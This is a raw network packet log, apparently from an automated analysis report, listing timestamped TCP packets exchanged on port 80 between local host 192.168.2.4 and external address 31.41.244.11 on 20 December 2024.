Dec 20, 2024 04:12:19.097446918 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.098146915 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.098170042 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.098193884 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.098227024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.099250078 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.099301100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.099332094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.099374056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.100348949 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.100393057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.100466967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.100508928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.101474047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.101516962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.101583958 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.101625919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.102545977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.102663040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.102708101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.103652954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.103754044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.103796005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.104767084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.104813099 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.104870081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.105865002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.105909109 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.106005907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.106978893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.107021093 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.107069016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.107111931 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.108072996 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.108186007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.108228922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.109160900 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.109268904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.109313965 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.110259056 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.110373974 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.110424042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.111365080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.111409903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.111474991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.111855030 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.112469912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.112510920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.112570047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.112610102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.113612890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.113660097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.113778114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.113818884 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.114675045 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.114736080 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.114748001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.114787102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.115794897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.115844011 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.115921021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.116863012 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.116889000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.116925001 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.116987944 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.117029905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.117985964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.118027925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.118119001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.118160009 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.119080067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.119159937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.119204044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.120187044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.120228052 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.120260954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.120379925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.121347904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.121401072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.121411085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.121481895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.122411013 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.122457981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.122526884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.122766018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.123506069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.123553991 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.123614073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.124596119 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.124635935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.124721050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.125714064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.125752926 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.125809908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.126360893 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.126806021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.126852036 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.126919031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.127002954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.127923012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.127969027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.128025055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.128217936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.128993988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.129180908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.129220963 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.130079985 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.130134106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.130191088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.130225897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.131201982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.131293058 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.131326914 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.132308006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.132420063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.132458925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.133394957 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.133464098 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.133495092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.133541107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.134430885 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.134480000 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.268876076 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.268893003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.268953085 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.269272089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.269469023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.269515991 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.270378113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.270522118 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.270562887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.271483898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.271528006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.271590948 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.272578001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.272624969 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.272669077 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.272856951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.273682117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.273802042 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.273859978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.274802923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.274976969 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.275021076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.275892019 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.275989056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.276035070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.276097059 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.276990891 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.277040958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.277110100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.277153015 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.278115988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.278166056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.278212070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.278255939 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.279196024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.279308081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.279345989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.280312061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.280435085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.280479908 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.281399012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.281449080 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.281511068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.281840086 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.282490969 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.282537937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.282577038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.282618999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.283713102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.283757925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.283787012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.283828020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.284710884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.284754992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.284811974 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.284856081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.285842896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.285887957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.286010027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.286053896 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.286911964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.286957979 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.287028074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.287070990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.288003922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.288124084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.288180113 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.289114952 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.289237976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.289283037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.290203094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.290246964 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.290314913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.291344881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.291389942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.291435957 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.292438984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.292484999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.292515039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.292572975 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.293529987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.293648005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.293694973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.294611931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.294739008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.294809103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.295722961 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.295770884 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.295809984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.296861887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.296874046 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.296916962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.296988964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.297029018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.297926903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.297986984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.297997952 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.298039913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.299029112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.299071074 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.299134970 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.299175024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.300117016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.300224066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.300266027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.301225901 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.301449060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.301491976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.302341938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.302388906 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.302397013 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.303430080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.303472996 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.303533077 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.304521084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.304563046 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.304641008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.304697990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.305625916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.305751085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.305804014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.306782007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.306898117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.306940079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.307826042 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.307872057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.307926893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.308871031 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.308932066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.308974981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.309037924 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.309081078 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.310054064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.310098886 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.310163975 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.310213089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.311129093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.311166048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.311244011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.311877012 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.312257051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.312294006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.312340021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.312371969 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.313352108 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.313390017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.313462973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.313498974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.314450979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.314496040 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.314665079 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.314702988 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.315550089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.315586090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.315661907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.315712929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.316670895 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.316725016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.316771030 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.316809893 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.317758083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.317796946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.317852020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.318876028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.318917036 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.318967104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.319963932 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.320003033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.320060015 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.320848942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.321021080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.321166992 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.321204901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.322168112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.322227001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.322269917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.323281050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.323331118 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.323386908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.323873043 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.324362993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.324414015 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.324465990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.324506044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.325472116 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.325520039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.325556993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.325596094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.326525927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.326574087 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.460813046 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.460870981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.460884094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.460941076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.461333036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.461380005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.461456060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.461496115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.462457895 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.462502956 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.462565899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.462610006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.463541031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.463583946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.463648081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.463689089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.464627981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.464675903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.464739084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.464783907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.465724945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.465770006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.465846062 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.465894938 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.466841936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.466887951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.466927052 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.466969013 CET	49783	80	192.168.2.4	31.41.244.11
